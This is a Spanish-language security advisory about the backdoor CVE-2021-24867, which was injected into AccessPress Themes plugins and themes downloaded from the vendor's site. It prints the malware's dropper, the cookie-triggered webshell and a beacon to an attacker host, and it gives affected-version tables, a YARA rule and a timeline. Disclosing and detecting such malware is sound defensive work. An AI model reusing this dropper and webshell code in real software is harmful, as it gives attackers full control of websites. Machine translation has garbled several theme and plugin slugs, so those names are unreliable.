Backdoor encontrado en temas y complementos de AccessPress Themes

Publicado: 2022-01-19

Actualización 1 de febrero: se modificó la sección "Temas afectados" para reflejar que están comenzando a aparecer nuevas versiones de los temas.

Mientras investigamos un sitio comprometido, descubrimos un código sospechoso en un tema de AccessPress Themes (también conocido como Access Keys), un proveedor con una gran cantidad de temas y complementos populares. En una investigación más profunda, encontramos que todos los temas y la mayoría de los complementos del proveedor contenían este código sospechoso, pero solo si se descargaban de su propio sitio web. Las mismas extensiones estaban bien si se descargaban o instalaban directamente desde el directorio de WordPress.org.

Debido a la forma en que se comprometieron las extensiones, sospechamos que un atacante externo había violado el sitio web de AccessPress Themes en un intento de usar sus extensiones para infectar más sitios.

Nos pusimos en contacto con el proveedor de inmediato, pero al principio no recibimos una respuesta. Después de escalarlo al equipo de complementos de WordPress.org, se confirmaron nuestras sospechas. Los sitios web de AccessPress Themes fueron violados en la primera quincena de septiembre de 2021, y las extensiones disponibles para descargar en su sitio fueron inyectadas con una puerta trasera.

Una vez que establecimos un canal para comunicarnos con el proveedor, compartimos nuestros hallazgos detallados con ellos. Inmediatamente eliminaron las extensiones ofensivas de su sitio web.

La mayoría de los complementos se han actualizado desde entonces, y las versiones limpias conocidas se enumeran al final de esta publicación. Sin embargo, los temas afectados no se han actualizado y se extraen del repositorio de temas de WordPress.org. Si tiene alguno de los temas enumerados al final de esta publicación instalado en su sitio, le recomendamos que migre a un nuevo tema lo antes posible.

Esta divulgación se refiere a una gran cantidad de extensiones, tanto complementos como temas. Pase a la lista a continuación, o siga leyendo para conocer los detalles.

Detalles:

Proveedor: Temas de AccessPress
URL del proveedor: https://accesspressthemes.com
Complementos: múltiples
Temas: múltiples
CVE: CVE-2021-24867

Análisis:

Las extensiones infectadas contenían un cuentagotas para un webshell que brinda a los atacantes acceso total a los sitios infectados. El cuentagotas se encuentra en el archivo inital.php ubicado en el directorio principal del complemento o tema. Cuando se ejecuta, instala un webshell basado en cookies en wp-includes/vars.php . El shell se instala como una función justo en frente de la función wp_is_mobile() con el nombre de wp_is_mobile_fix() . Presumiblemente, esto es para no despertar sospechas en nadie que se desplace casualmente por el archivo vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Una vez que se instala el shell, el cuentagotas llamará a casa cargando una imagen remota desde la URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg con la URL del sitio infectado e información sobre qué tema utiliza como argumentos de consulta. Finalmente, eliminará el archivo de origen del cuentagotas para evitar la detección cuando la solicitud termine de ejecutarse.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

El propio webshell se activa si la cadena de agente de usuario en la solicitud es wp_is_mobile y la solicitud contiene ocho cookies específicas. Reúne y ejecuta una carga útil a partir de estas cookies proporcionadas.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

También hemos visto otra variante, presumiblemente más antigua, de la puerta trasera directamente incrustada en el archivo functions.php del tema/complemento. Esta variante utiliza el mismo mecanismo para juntar la carga útil de ocho cookies, pero no filtra la cadena de agente de usuario de la solicitud.

Para garantizar que se ejecute el cuentagotas, el archivo de complemento principal (para complementos) o el archivo functions.php (para temas) se han modificado con código para ejecutar el archivo inital.php , si existe.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Un detalle sorprendente de las marcas de tiempo de los complementos comprometidos es que todos son de principios de septiembre. La mayoría son del 6 y 7 de septiembre, con algunos archivos del 2 y 3 de septiembre. Del mismo modo, para los temas, todos se vieron comprometidos el 22 de septiembre, excepto accessbuddy el 9 de septiembre.

Además, las marcas de tiempo dentro de los archivos zip son muy uniformes, con casi todos los archivos con exactamente la misma marca de tiempo, a excepción del archivo del complemento principal modificado y el archivo cuentagotas agregado que se marca unos minutos más tarde (generalmente entre 2 y 5 minutos después de los otros archivos en el archivo).

Sin embargo, al observar las marcas de tiempo de los archivos zip descargados del repositorio de wordpress.org , encontramos una distribución de marcas de tiempo correspondientes a cuándo se actualizó realmente el complemento/tema. Además, la distribución de las marcas de tiempo dentro del archivo es menos uniforme y refleja qué archivos se actualizaron en la versión y cuáles no han cambiado desde una versión anterior.

Esto nos sugiere que los archivos del sitio web de AccessPress Themes se modificaron intencionalmente y como una acción coordinada después de su lanzamiento original. El compromiso parece haberse realizado en dos etapas, una para los complementos y otra posterior para los temas. Cada uno de ellos con algunos intentos anteriores, posiblemente para afinar el proceso.

Nuestra investigación solo ha analizado los temas y complementos disponibles gratuitamente en el sitio web de AccessPress Themes. Suponemos que sus temas profesionales pagados se ven afectados de manera similar, pero no los hemos examinado. Si tiene alguno de estos, comuníquese con el soporte de AccessPress Themes para obtener más consejos.

Temas afectados

Si tiene alguno de los siguientes temas con un número de versión en la columna Incorrecto instalado en su sitio, le recomendamos que actualice a la versión en la columna Limpiar de inmediato. Vale la pena señalar que los temas instalados a través de WordPress.org están limpios, incluso si aparecen en la columna Incorrecto . Todavía recomendamos actualizar a la versión limpia conocida para estar seguro.

Los temas sin número de versión en la columna Limpiar aún no se han actualizado y recomendamos reemplazarlo con otro tema si es posible.

Babosa temática Malo Limpio
compañero de acceso 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-parallax 4.5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accessprensa-grapa 1.9.1
accesoprensa-tienda 2.4.9 2.5.0
agencia-lite 1.1.6 1.1.7
aplita 1.0.6
parranda 1.0.4 1.0.5
bloguero 1.2.6 1.2.7
construcción-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
iluminar 1.3.5 1.3.6
tienda de moda 1.2.1
fotografia 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
de un solo paso 2.2.8
parallax-blog 3.1.1574941215
paralaje 1.3.6 1.3.7
puntear 1.1.2 1.1.3
girar 1.3.1
onda 1.2.0 1.2.1
desplazame 2.1.0
revista deportiva 1.2.1
tiendavilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
el-lanzador 1.3.2 1.3.3
el lunes 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-noticias 1.0.5 1.0.6
zigcy-bebé 1.0.6 1.0.7
zigcy-cosméticos 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabla 1: Temas y versiones comprometidas por el ataque.

Complementos afectados

Si tiene alguno de los siguientes complementos con un número de versión en la columna Incorrecto instalado en su sitio, le recomendamos que actualice a la versión en la columna Limpiar de inmediato. Vale la pena señalar que los complementos instalados a través de WordPress.org están limpios, incluso si aparecen en la columna Incorrecto . Todavía recomendamos actualizar a la versión limpia conocida para estar seguro.

Los complementos sin número de versión en la columna Limpiar aún no se han actualizado, y recomendamos reemplazarlos con otros complementos si es posible.

babosa de complemento Malo Limpio Nota
accederprensa-anónimo-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesoprensa-instagram-feed 4.0.3 4.0.4
accesoprensa-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-iconos-sociales 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesoprensa-twitter-feed 1.6.7 1.6.8
ak-menú-iconos-lite 1.0.9
ap-compañero 1.0.7 2
ap-formulario-de-contacto 1.0.6 1.0.7
ap-testimonio-personalizado 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
ap-precios-tablas-lite 1.1.2 1.1.3
apex-notificación-bar-lite 2.0.4 2.0.5
cf7-almacenar-en-db-lite 1.0.9 1.1.0
comentarios-deshabilitar-accesoprensa 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-tema-lite 1.0.7 1.0.8
everest-próximamente-lite 1.1.0 1.1.1
everest-comentario-rating-lite 2.0.4 2.0.5
everest-contra-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-gallery-lite 1.0.8 1.0.9
everest-google-places-reseñas-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
constructor-lite-de-llamada-a-la-acción-en-línea 1.1.0 1.1.1
producto-deslizador-para-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
publicaciones de desplazamiento inteligente 2.0.8 2.0.9
Smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-cumplimiento-lite 1.0.4
total-team-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-deslizador 1.2.9 1.3.0
wp-blog-gestor-lite 1.1.0 1.1.2
wp-comentario-diseñador-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-boton-lite 2.0.7
wp-menú-flotante 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banners 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-producto-gallery-lite 1.1.1
Tabla 2: complementos, versiones comprometidas por el ataque y versiones limpias conocidas,

Notas:

  1. Este complemento no se ha actualizado, pero se cree que está limpio ya que la versión en el sitio web de AccessPress Themes era una versión anterior.
  2. Este complemento no se ha actualizado, pero se cree que está limpio, ya que originalmente no estaba disponible en el sitio web de AccessPress Themes.

COI

La siguiente regla YARA se puede utilizar para comprobar si el sitio ha sido infectado. Detectará tanto la parte del cuentagotas de la infección como el webshell instalado.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recomendaciones

Si tiene temas o complementos instalados directamente desde AccessPress Themes o cualquier otro lugar que no sea WordPress.org, debe actualizar inmediatamente a una versión segura como se indica en las tablas anteriores. Si no hay una versión segura disponible, reemplácela con la última versión de WordPress.org.

Tenga en cuenta que esto no elimina la puerta trasera de su sistema, por lo que, además, debe reinstalar una versión limpia de WordPress para revertir las modificaciones del archivo principal realizadas durante la instalación de la puerta trasera.

Si tiene un tema o complemento pago de AccessPress Themes/Access Keys, le recomendamos que se comunique con su soporte para obtener ayuda.

Le recomendamos enfáticamente que tenga un plan de seguridad para su sitio que incluya escaneo de archivos maliciosos y copias de seguridad. Jetpack Security es una excelente opción de seguridad de WordPress para garantizar que su sitio y los visitantes estén seguros. Jetpack Scan ha detectado todas las variantes de esta puerta trasera y el cuentagotas desde el 30 de septiembre.

Cronología

2021-09-22: El equipo de Jetpack Scan descubre el cuentagotas y la puerta trasera en el tema FotoGraphy e intenta ponerse en contacto con el proveedor sobre el hallazgo inicial.

2021-09-27: Confirmar la presencia de cuentagotas + puerta trasera en todos los complementos y temas gratuitos actuales descargados del sitio web de los proveedores.

2021-09-28: Confirme que cuentagotas + puerta trasera no está presente en las descargas de wordpress.org

2021-09-29: Tratando de contactar al proveedor nuevamente, con actualizaciones sobre nuevos hallazgos.

2021-10-14: remitido al equipo de complementos de WordPress para intentar obtener contacto con el proveedor.

2021-10-15: Las extensiones comprometidas se eliminan del sitio del proveedor.

2021-10-16: Respuesta del proveedor

2022-01-17: La mayoría de los complementos se han actualizado a nuevas versiones, los temas se han extraído de WordPress.org.

2022-01-18 Divulgación pública